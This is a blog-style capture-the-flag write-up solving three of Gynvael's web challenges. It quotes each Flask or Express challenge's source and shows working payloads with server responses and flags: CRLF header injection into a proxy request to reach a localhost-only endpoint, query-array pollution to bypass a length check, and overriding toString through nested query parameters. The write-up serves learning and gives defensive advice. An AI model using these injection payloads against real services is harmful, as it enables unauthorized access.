Gynvael’s Challenges 0, 1 and 2
0x00 Introduction⌗
If you have ever wondered why I am foxtrot_charlie
, well - first of all my parents gave me this name, and then cf
acronym comes to play. In military jargon cf
could be described visually as the beginning of the year 2020. Pure cluster f***k
. But lockdown has some advantages. For example I do not need to move around for my uni classes (why the hell something like that must have happened so we could study at home) so there is plenty of time to do my thing - hack. And solve challenges. As far as Gynvael's missions
are dead there is a new guy in town. Gynvael hosts new challs on his (I assume his) host 35.204.139.205
on ports above 5000
(inclusive). So let me jump straight into it! Today I will show my solutions to 3 first challanges. AFAIK there are 5 of them so expect a followup.
SPOILER ALERT
This blogpost contains solutions of CTF tasks, but @Gynvael
permits to post them. So if you want to solve these challs go to http://35.204.139.205:5000/
and start hacking!
SPOILER ALERT
0x10 Challenge 0x00:5000⌗
Zeroth chall (hosted on port 5000
) was the first introducent. It’s rather simple headers’ modification type of task that could be solved in two ways. But let me show you the code (2 spaces indentation brrr).
#!/usr/bin/python3
from flask import Flask, request, Response, render_template_string
from urllib.parse import urlparse
import socket
import os
app = Flask(__name__)
FLAG = os.environ.get('FLAG', "???")
with open("task.py") as f:
SOURCE = f.read()
@app.route('/secret')
def secret():
if request.remote_addr != "127.0.0.1":
return "Access denied!"
if request.headers.get("X-Secret", "") != "YEAH":
return "Nope."
return f"GOOD WORK! Flag is {FLAG}"
@app.route('/')
def index():
return render_template_string(
"""
<html>
<body>
<h1>URL proxy with language preference!</h1>
<form action="/fetch" method="POST">
<p>URL: <input name="url" value="http://gynvael.coldwind.pl/"></p>
<p>Language code: <input name="lang" value="en-US"></p>
<p><input type="submit"></p>
</form>
<pre>
Task source:
{{ src }}
</pre>
</body>
</html>
""", src=SOURCE)
@app.route('/fetch', methods=["POST"])
def fetch():
url = request.form.get("url", "")
lang = request.form.get("lang", "en-US")
if not url:
return "URL must be provided"
data = fetch_url(url, lang)
if data is None:
return "Failed."
return Response(data, mimetype="text/plain;charset=utf-8")
def fetch_url(url, lang):
o = urlparse(url)
req = '\r\n'.join([
f"GET {o.path} HTTP/1.1",
f"Host: {o.netloc}",
f"Connection: close",
f"Accept-Language: {lang}",
"",
""
])
res = o.netloc.split(':')
if len(res) == 1:
host = res[0]
port = 80
else:
host = res[0]
port = int(res[1])
data = b""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(req.encode('utf-8'))
while True:
data_part = s.recv(1024)
if not data_part:
break
data += data_part
return data
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0")
Ok, so the app is written in the Flask
[1] framework and it is some kind of a proxy that does GET
requests with Accept-Language:
header settings. Our task is simple. We have to generate the GET
request to /secret
endpoint. But there are some contitions that have to be met. First of all - request.remote_addr != "127.0.0.1"
means that request has to be done from localhost. So in case of GET
request done from any other host in the Internet the response says “Access denied!”. To solve this challenge I will use Burp Suite and Repeater.
GET /secret HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Listing 0x10 - GET request. Accessing the /secret from my host
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:26:32 GMT
Access denied!```
Listing 0x11 - response access denied
After reading the source code (which was downloadable by the time I was solving that challenge) my first thought was to set X-Secret
header using Accept-Language
header. Proxy uses following code:
req = '\r\n'.join([
f"GET {o.path} HTTP/1.1",
f"Host: {o.netloc}",
f"Connection: close",
f"Accept-Language: {lang}",
"",
""
])
Listing 0x12 - request building
The fifth line uses Python’s 3.6 feature f-strings[2] and sets Accept-Language
to lang
variable. Actually this variable is controlled by the attacker in post form -lang = request.form.get("lang", "en-US")
sets the lang variable to one set by the sender.
Headers in the HTTP are separated by CRLF[3] value. So the obvious thing to do is to set Accept-Langauge
to something\r\nX-Secret:YEAH
. But setting that value in POST request.
url=http://127.0.0.1:5000/secret&lang=en-US\r\nX-Secret:YEAH
Listing 0x13 - faulty payload
Gives the following response on the server side (I’ve added some debug messages to clarify what happens):
* Serving Flask app "server" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret'), ('lang', 'en-US\\n\\rX-Secret:YEAH')])
o.path: /secret, 127.0.0.1:5000, lang: en-US\n\rX-Secret:YEAH
Req: GET /secret HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US\r\nX-Secret:YEAH
Listing 0x14 - server side parsing of the request
What happened? Chars \r\n
were escaped, encoded and then sent as normal characters not CRLF. The simplest method to fix that in Burp is to use URL-encode as you type
method. So the full request looks like this:
POST /fetch HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://35.204.139.205:5000
Connection: close
Referer: http://35.204.139.205:5000/
Upgrade-Insecure-Requests: 1
url=http://127.0.0.1:5000/secret&lang=en-US%0d%0aX-Secret:YEAH
Listing 0x15 - URL-encoded request
And ten bang we have the flag!
HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8; charset=utf-8
Content-Length: 195
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:23:09 GMT
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 42
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:23:09 GMT
GOOD WORK! Flag is CTF{ThesePeskyNewLines}
Listing 0x16 - the flag
And the server parsed request as follows:
127.0.0.1 - - [19/May/2020 16:52:06] "POST /fetch HTTP/1.1" 200 -
ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret'), ('lang', 'en-US\r\nX-Secret:YEAH')])
o.path: /secret, 127.0.0.1:5000, lang: en-US
X-Secret:YEAH
Req: GET /secret HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US
X-Secret:YEAH
Listing 0x17 - server side parsing of the correct payload
Aaaaaand then I was happy with my solution. But @Gynvael
came and said that there is another way. And there is. I’m really ashamed that I haven’t spotted it right at the beginning. So as you probably already know there is a way to inject X-Secret
header without lang
variable. The URL parameter has to be formated that way it will create a valid HTTP GET
request. How to do that? On the higher level the URL should look like this: schema://address:port/resource[space]HTTP/1.1\r\nX-Secret:YEAH\r\n\r\n
. Implementing this idea should give something like this:
POST /fetch HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://35.204.139.205:5000
Connection: close
Referer: http://35.204.139.205:5000/
Upgrade-Insecure-Requests: 1
url=http://127.0.0.1:5000/secret+HTTP/1.1%0d%0aX-Secret:YEAH%0d%0a%0d%0a&lang=en-US
Listing 0x18 - the flag vol2
And on the server side
ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret HTTP/1.1\r\nX-Secret:YEAH\r\n\r\n'), ('lang', 'en-US')])
Req: GET /secret HTTP/1.1
X-Secret:YEAH
HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US
Listing 0x19 - server side parsing of the url encoded injection
Things after \r\n
are simply ignored.
0x20 Task 0x01:5001⌗
Next task is hosted on 5001
and it’s written in our beloved JavaScript. So let’s jump straight into it!
Accessing the website returns us the code of the challenge:
~ ❯ curl 'http://35.204.139.205:5001/'
Level 1
const express = require('express')
const fs = require('fs')
const PORT = 5001
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')
const app = express()
app.get('/', (req, res) => {
res.statusCode = 200
res.setHeader('Content-Type', 'text/plain;charset=utf-8')
res.write("Level 1\n\n")
if (!('secret' in req.query)) {
res.end(SOURCE)
return
}
if (req.query.secret.length > 5) {
res.end("I don't allow it.")
return
}
if (req.query.secret != "GIVEmeTHEflagNOW") {
res.end("Wrong secret.")
return
}
res.end(FLAG)
})
app.listen(PORT, () => {
console.log(`Example app listening at port ${PORT}`)
})
Listing 0x20 Code
This time to obtain the secret the app must get the secret
parameter in the GET
request. It has to be set to GIVEmeTHEflagNOW
and at the same time it has to meet this check:
if (req.query.secret.length > 5) {
res.end("I don't allow it.")
return
}
Listing 0x21 Query length check
And unfortunately len("GIVEmeTHEflagNOW") = 16
which is greater than 5. So we have to pass an object via secret
parameter that will be the length that is smaller than 5 and if referenced directly will return secret phrase. If you know the PHP, you are probably familiar with arrays. That was my first guess and in a few attempts, I’ve managed to get the flag.
~ ❯ curl 'http://35.204.139.205:5001/?secret=GIVEmeTHEflagNOW&secret=Bong'
Level 1
Wrong secret.%
~ ❯ curl 'http://35.204.139.205:5001/?secret[]=IVEmeTHEflagNOW' # typo :)
Level 1
Wrong secret.%
~ ❯ curl 'http://35.204.139.205:5001/?secret[]=GIVEmeTHEflagNOW'
Level 1
CTF{SmellsLikePHP}%
Aaaand tadam! we got the flag. The parameter is the array and array.length is equal to 1. That strange bahaviour is caused by qs
module [4], the default query parser of the Express
. To read more about some quirks in query parsing I higly recommend you this [5] article.
0x30 Task 0x02:5002⌗
Ok, so far so good. Previous challs were pretty easy and straightforward. Now comes time for something more complex. Let’s do PORT++
and visit http://35.204.139.205:5002/
The code is as always returned on GET /
request without parameters.
Level 2
const express = require('express')
const fs = require('fs')
const PORT = 5002
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')
const app = express()
app.get('/', (req, res) => {
res.statusCode = 200
res.setHeader('Content-Type', 'text/plain;charset=utf-8')
res.write("Level 2\n\n")
if (!('X' in req.query)) {
res.end(SOURCE)
return
}
if (req.query.X.length > 800) {
const s = JSON.stringify(req.query.X)
if (s.length > 100) {
res.end("Go away.")
return
}
try {
const k = '<' + req.query.X + '>'
res.end("Close, but no cigar.")
} catch {
res.end(FLAG)
}
} else {
res.end("No way.")
return
}
})
app.listen(PORT, () => {
console.log(`Challenge listening at port ${PORT}`)
})
Listing 0x30 Challenge code
This challenge was pretty hard for me. First of all to obtain the flag, which is stored in the enviromental variable FLAG, is to do the GET
request on the /
resource with specified X
parameter. Then only when req.query.X.length
is greater than 800 and when stringified is shorter than 100 it has to throw an exception when concatenated with '<'
and '>'
.
Pretty much huh? So I started by reading about stringify
function here [6] and tried that:
Notice the first line. My first wrong assumption was that stringify should create a valid JSON from input and then serialize it to the String object. Which is not the case here, so multiple replication of the same key=>value entries will not work here. But previously linked article ([5]) pointed me another solution. For the first check. Because of qs
usage in this simple code, one can pass nested structures. This nested value could be JSON with length field. Then the reference to this field will return the value stored there not the real length. Watch this:
var text = '{ "employees" : [' +
'{ "firstName":"John" , "lastName":"Doe" },' +
'{ "firstName":"Anna" , "lastName":"Smith" },' +
'{ "firstName":"Peter" , "lastName":"Jones" } ]}';
JSON.parse(text)
{…}
employees: Array(3) [ {…}, {…}, {…} ]
<prototype>: {…}
// the tadaaaa part:
JSON.parse(text).employees
(3) […]
0: Object { firstName: "John", lastName: "Doe" }
1: Object { firstName: "Anna", lastName: "Smith" }
2: Object { firstName: "Peter", lastName: "Jones" }
length: 3
Listing 0x31 Referencing object fields
So the first check will be passed if X[length]=x where x > 800
. I’ve chosen the first obvious value 801
.
~ ❯ curl -i -s -k -X $'GET' 'http://35.204.139.205:5002/?X[length]=801'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain;charset=utf-8
Date: Tue, 19 May 2020 19:32:20 GMT
Connection: keep-alive
Transfer-Encoding: chunked
Level 2
Close, but no cigar.%
Listing 0x32 Partially solved challenge
And looking at this response tells us that two first checks were passed. Second one is true because the length of X{length:801}
interpreted as string is way smaller than 100.
Last but not least there is this catch
part where the flag is printed. To jump there the concatenation must throw an exception. But how to trigger that. I’m not so fluent at JS so with my little knowledge from other languages I’ve tried different types of objects. And… all of them were automagically converted to string and then +
operator was used.
> var d = JSON.parse(text)
undefined
> d + '>'
"[object Object]>"
> NaN + '>'
"NaN>"
> true
true
> true + '>'
"true>"
Listing 0x33 Weird concatenation
No error due to concatenation string with null
, Object
or NaN
objects looks crazy to me but all these objects have methods. And I’ve listed all of them (with other properties, but didn’t wanted to mess around with JS too much)
Object.keys(NaN)
[]
...
push: function push()
...
Symbol(Symbol.iterator): function values()
Symbol(Symbol.unscopables): Object { copyWithin: true, entries: true, fill: true, … }
...
toLocaleString: function toLocaleString()
toString: function toString()
...
Listing 0x34 Some object methods (and fields)
So there is something like toString()
function which converts for example NaN
to "NaN"
(string thing). So how about playing around JSON object created with the qs
parser? This should throw TypeError (or it just does that in Web Browser console)
> var a = new Object()
undefined
> a.toString()
"[object Object]"
> a.toString = 'asdf'
"asdf"
> a.toString()
TypeError: a.toString is not a function
Listing 0x35 Overwritting toString() method
And trying that on the remote system gives us:
~ ❯ curl -i -s -k -X $'GET' 'http://35.204.139.205:5002/?X[length]=801&X[toString]=asdf'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain;charset=utf-8
Date: Tue, 19 May 2020 20:49:39 GMT
Connection: keep-alive
Transfer-Encoding: chunked
Level 2
CTF{WaaayBeyondPHPLikeWTF}%
Worked like a charm! We’ve succesfully overwritten toString()
method in this object.
Conclusion⌗
Some behaviours may not be faulty (which is questionable when it comes to JS) but pretty confusing and unexpected. Default query parser in Express
framework is pretty powerfull. But with the great power comes great responsibility. And that’s why it is crucial to try to think about all different code paths that may be generated implicitly. If you are a developer - stick to the advices given in [5]. You probably do not need so much firepower when handling query parameters.
That’s all for today. Now I’m back on track doing stuff, so I promise there will be new content soon. I mean really soon so !soonish or !sooner. C u on the Internet!
foxtrot_charlie
over and out
Links⌗
[1] Flask
[2] Python 3.6 f-strings Chanelog PEP 498
[3] HTTP Request-Response schema RFC
[4] qs
[5] Gotchas with Express query parsing (and how to avoid them)
[6] JSON.stringify()
UPDATE 22.05.2020 (DD:MM:YYYY)⌗
Fixed typos and error in the listing 0x21. Thank you @noodly
!